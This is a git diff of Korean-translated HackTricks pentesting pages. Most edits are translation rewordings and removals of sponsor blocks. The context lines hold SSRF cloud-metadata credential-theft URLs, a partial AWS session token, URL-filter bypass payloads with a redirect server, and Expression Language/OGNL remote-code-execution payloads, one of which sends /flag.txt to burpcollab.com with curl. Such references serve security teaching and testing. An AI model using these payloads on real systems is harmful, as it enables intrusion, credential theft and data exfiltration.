공개적으로 사용 가능한 IAM 자격 증명 노출 예제로 다음을 방문할 수 있습니다: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||||
|
|
||||||
|
또한 다음에서 공개 **EC2 보안 자격 증명**을 확인할 수 있습니다: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||||
|
|
||||||
|
그런 다음 **해당 자격 증명을 사용하여 AWS CLI**와 함께 사용할 수 있습니다. 이렇게 하면 **해당 역할이 허용된 모든 작업을 수행할 수 있습니다**.
|
||||||
|
|
||||||
|
새 자격 증명을 활용하려면 다음과 같이 새 AWS 프로필을 만들어야 합니다:
|
||||||
```
|
```
|
||||||
[profilename]
|
[profilename]
|
||||||
aws_access_key_id = ASIA6GG71[...]
|
aws_access_key_id = ASIA6GG71[...]
|
||||||
|
@ -112,14 +111,14 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
||||||
```
|
```
|
||||||
**aws\_session\_token**에 주목하세요. 이는 프로필이 작동하는 데 필수적입니다.
|
**aws\_session\_token**에 주목하세요. 이는 프로필이 작동하는 데 필수적입니다.
|
||||||
|
|
||||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)는 발견된 자격 증명을 사용하여 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu)는 발견된 자격 증명으로 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다.
|
||||||
|
|
||||||
### AWS ECS(컨테이너 서비스) 자격 증명에서의 SSRF
|
### AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF
|
||||||
|
|
||||||
**ECS**는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. **ECS**에서 실행 중인 서비스를 손상시키면 **메타데이터 엔드포인트가 변경**됩니다.
|
**ECS**는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. **ECS**에서 실행 중인 서비스를 손상시키면 **메타데이터 엔드포인트가 변경**됩니다.
|
||||||
|
|
||||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**를 읽어야 합니다.\
|
_**http://169.254.170.2/v2/credentials/\<GUID>**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **\<GUID>**를 찾아야 합니다. \<GUID>를 찾으려면 머신 내의 **environ** 변수 **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**를 읽어야 합니다.\
|
||||||
**Path Traversal**을 이용하여 `file:///proc/self/environ`을 읽을 수 있습니다.\
|
**Path Traversal**을 이용해 `file:///proc/self/environ`을 읽을 수 있습니다.\
|
||||||
언급된 http 주소는 **AccessKey, SecretKey 및 token**을 제공해야 합니다.
|
언급된 http 주소는 **AccessKey, SecretKey 및 token**을 제공해야 합니다.
|
||||||
```bash
|
```bash
|
||||||
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
|
||||||
|
@ -141,7 +140,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
||||||
게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다.
|
게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
**lambda 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 lambda 코드의 **스택 추적**이 환경 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다.
|
**lambda 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 **lambda 코드의 스택 추적**이 환경 변수를 출력하면, 앱에서 오류를 유발하여 **이들을 유출할 수 있는** 가능성이 있습니다.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### AWS Elastic Beanstalk에 대한 SSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
### AWS Elastic Beanstalk에 대한 SSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||||
|
@ -161,7 +160,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
||||||
|
|
||||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||||
|
|
||||||
[**메타데이터 엔드포인트에 대한 문서를 여기에서 찾을 수 있습니다**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
[**여기에서 메타데이터 엔드포인트에 대한 문서를 찾을 수 있습니다**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata).
|
||||||
|
|
||||||
### Google Cloud의 SSRF URL <a href="#id-6440" id="id-6440"></a>
|
### Google Cloud의 SSRF URL <a href="#id-6440" id="id-6440"></a>
|
||||||
|
|
||||||
|
@ -564,12 +563,6 @@ Rancher의 메타데이터는 다음을 사용하여 액세스할 수 있습니
|
||||||
|
|
||||||
* `curl http://rancher-metadata/<version>/<path>`
|
* `curl http://rancher-metadata/<version>/<path>`
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -579,8 +572,8 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>HackTricks 지원하기</summary>
|
<summary>HackTricks 지원하기</summary>
|
||||||
|
|
||||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
### 로컬호스트
|
### 로컬호스트
|
||||||
```bash
|
```bash
|
||||||
# Localhost
|
# Localhost
|
||||||
|
@ -162,7 +154,7 @@ next={domain}&next=attacker.com
|
||||||
```
|
```
|
||||||
### Paths and Extensions Bypass
|
### Paths and Extensions Bypass
|
||||||
|
|
||||||
URL가 경로나 확장자로 끝나야 하거나 경로를 포함해야 하는 경우, 다음 우회 방법 중 하나를 시도할 수 있습니다:
|
URL가 경로 또는 확장자로 끝나야 하거나 경로를 포함해야 하는 경우 다음 우회 방법 중 하나를 시도할 수 있습니다:
|
||||||
```
|
```
|
||||||
https://metadata/vulerable/path#/expected/path
|
https://metadata/vulerable/path#/expected/path
|
||||||
https://metadata/vulerable/path#.extension
|
https://metadata/vulerable/path#.extension
|
||||||
|
@ -175,7 +167,7 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
||||||
### Bypass via redirect
|
### Bypass via redirect
|
||||||
|
|
||||||
서버가 SSRF의 **원래 요청을 필터링**하고 **가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
|
서버가 SSRF의 **원래 요청을 필터링**하고 **가능한 리디렉션** 응답은 필터링하지 않을 가능성이 있습니다.\
|
||||||
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치로, **필터링된 IP 주소**인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
|
예를 들어, `url=https://www.google.com/`를 통해 SSRF에 취약한 서버는 **url 매개변수를 필터링**할 수 있습니다. 그러나 [python 서버를 사용하여 302로 응답](https://pastebin.com/raw/ywAUhFrv)하면 리디렉션하려는 위치에서 **필터링된 IP 주소**인 127.0.0.1 또는 필터링된 **프로토콜**인 gopher에 **접근할 수** 있을 수 있습니다.\
|
||||||
[이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
[이 보고서를 확인하세요.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
|
@ -201,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
||||||
|
|
||||||
### 블랙슬래시 트릭
|
### 블랙슬래시 트릭
|
||||||
|
|
||||||
_블랙슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특화되어 있으며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 포워드 슬래시(`/`)와 동등하게 인식하여 URL이 구문 분석되는 방식에 영향을 미친다는 점으로, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시합니다.
|
_블랙슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url-parsing)과 [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) 간의 차이를 이용합니다. RFC3986은 URI에 대한 일반적인 프레임워크인 반면, WHATWG는 웹 URL에 특정하며 현대 브라우저에서 채택되고 있습니다. 주요 차이점은 WHATWG 표준이 백슬래시(`\`)를 포워드 슬래시(`/`)와 동등하게 인식한다는 점으로, 이는 URL이 파싱되는 방식에 영향을 미치며, 특히 URL에서 호스트 이름에서 경로로의 전환을 표시합니다.
|
||||||
|
|
||||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||||
|
|
||||||
|
@ -216,11 +208,6 @@ _블랙슬래시 트릭_은 [WHATWG URL 표준](https://url.spec.whatwg.org/#url
|
||||||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,20 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Bsic Info
|
## Bsic Info
|
||||||
|
|
||||||
Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹 페이지)와 애플리케이션 로직(예: 관리되는 빈) 간의 상호작용을 가능하게 하는 중요한 요소입니다. 주로 다음에서 사용됩니다:
|
Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹 페이지)와 애플리케이션 로직(예: 관리되는 빈) 간의 상호작용을 가능하게 하는 중요한 요소입니다. 주로 다음에서 사용됩니다:
|
||||||
|
@ -39,13 +25,13 @@ Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(예: 웹
|
||||||
|
|
||||||
**사용 맥락**:
|
**사용 맥락**:
|
||||||
|
|
||||||
* **Spring Framework**: 보안 및 데이터와 같은 다양한 모듈에서 적용됩니다.
|
* **Spring Framework**: Security 및 Data와 같은 다양한 모듈에서 적용됩니다.
|
||||||
* **일반 사용**: Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자들이 SpEL API를 통해 사용합니다.
|
* **일반 사용**: Java, Kotlin, Scala와 같은 JVM 기반 언어의 개발자들이 SpEL API를 통해 사용합니다.
|
||||||
|
|
||||||
EL은 JavaEE 기술, 독립 실행형 환경에 존재하며, `.jsp` 또는 `.jsf` 파일 확장자, 스택 오류 및 "Servlet"과 같은 용어를 통해 인식할 수 있습니다. 그러나 특정 기능과 특정 문자의 사용은 버전 의존적일 수 있습니다.
|
EL은 JavaEE 기술, 독립 실행형 환경에 존재하며, `.jsp` 또는 `.jsf` 파일 확장자, 스택 오류 및 "Servlet"과 같은 용어를 통해 인식됩니다. 그러나 특정 기능과 특정 문자의 사용은 버전에 따라 다를 수 있습니다.
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
**EL 버전**에 따라 일부 **기능**이 **켜져** 있거나 **꺼져** 있을 수 있으며, 일반적으로 일부 **문자**는 **허용되지 않을 수** 있습니다.
|
**EL 버전**에 따라 일부 **기능**이 **On** 또는 **Off**일 수 있으며, 일반적으로 일부 **문자**는 **허용되지 않을 수 있습니다**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Basic Example
|
## Basic Example
|
||||||
|
@ -91,11 +77,11 @@ Enter a String to evaluate:
|
||||||
{5*5}
|
{5*5}
|
||||||
[25]
|
[25]
|
||||||
```
|
```
|
||||||
Note how in the previous example the term `{5*5}` was **evaluated**.
|
이전 예제에서 `{5*5}`라는 용어가 **평가**된 방식을 주목하세요.
|
||||||
|
|
||||||
## **CVE 기반 튜토리얼**
|
## **CVE 기반 튜토리얼**
|
||||||
|
|
||||||
Check it in **this post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
**이 게시물에서 확인하세요:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||||
|
|
||||||
## 페이로드
|
## 페이로드
|
||||||
|
|
||||||
|
@ -166,7 +152,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
|
||||||
# With HTMl entities injection inside the template
|
# With HTMl entities injection inside the template
|
||||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||||
```
|
```
|
||||||
* RCE **linux**
|
* RCE **리눅스**
|
||||||
```bash
|
```bash
|
||||||
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
|
||||||
```
|
```
|
||||||
|
@ -222,7 +208,7 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
||||||
```bash
|
```bash
|
||||||
${sessionScope.toString()}
|
${sessionScope.toString()}
|
||||||
```
|
```
|
||||||
#### 권한 우회 예시
|
#### 권한 우회 예제
|
||||||
```bash
|
```bash
|
||||||
${pageContext.request.getSession().setAttribute("admin", true)}
|
${pageContext.request.getSession().setAttribute("admin", true)}
|
||||||
```
|
```
|
||||||
|
@ -243,18 +229,6 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 그 고객이 **스틸러 악성코드**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성코드로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
|
@ -15,36 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
**This is a summary of:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Check a look for further details (images taken form there).
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io)는 **다크 웹** 기반의 검색 엔진으로, 기업이나 고객이 **stealer malwares**에 의해 **침해**되었는지 확인할 수 있는 **무료** 기능을 제공합니다.
|
|
||||||
|
|
||||||
WhiteIntel의 주요 목표는 정보 탈취 악성 소프트웨어로 인한 계정 탈취 및 랜섬웨어 공격에 맞서 싸우는 것입니다.
|
|
||||||
|
|
||||||
그들의 웹사이트를 확인하고 **무료**로 엔진을 사용해 볼 수 있습니다:
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**이 내용은 다음의 요약입니다:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). 추가 세부정보를 확인하세요 (이미지는 거기서 가져온 것입니다).
|
|
||||||
|
|
||||||
## Understanding Unicode and Normalization
|
## Understanding Unicode and Normalization
|
||||||
|
|
||||||
유니코드 정규화는 서로 다른 문자 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
|
유니코드 정규화는 문자의 서로 다른 이진 표현이 동일한 이진 값으로 표준화되도록 하는 과정입니다. 이 과정은 프로그래밍 및 데이터 처리에서 문자열을 다룰 때 매우 중요합니다. 유니코드 표준은 두 가지 유형의 문자 동등성을 정의합니다:
|
||||||
|
|
||||||
1. **정준 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정준 동등하다고 간주됩니다.
|
1. **정규 동등성**: 문자가 인쇄되거나 표시될 때 동일한 모양과 의미를 가지면 정규 동등한 것으로 간주됩니다.
|
||||||
2. **호환성 동등성**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다.
|
2. **호환 동등성**: 문자가 동일한 추상 문자를 나타낼 수 있지만 다르게 표시될 수 있는 약한 형태의 동등성입니다.
|
||||||
|
|
||||||
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정준 및 호환성 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이 기술을 탐색할 수 있습니다.
|
**네 가지 유니코드 정규화 알고리즘**이 있습니다: NFC, NFD, NFKC, NFKD. 각 알고리즘은 정규 및 호환 정규화 기술을 다르게 적용합니다. 더 깊이 있는 이해를 원하시면 [Unicode.org](https://unicode.org/)에서 이러한 기술을 탐색할 수 있습니다.
|
||||||
|
|
||||||
### Key Points on Unicode Encoding
|
### Key Points on Unicode Encoding
|
||||||
|
|
||||||
유니코드 인코딩을 이해하는 것은 서로 다른 시스템이나 언어 간의 상호 운용성 문제를 다룰 때 매우 중요합니다. 주요 사항은 다음과 같습니다:
|
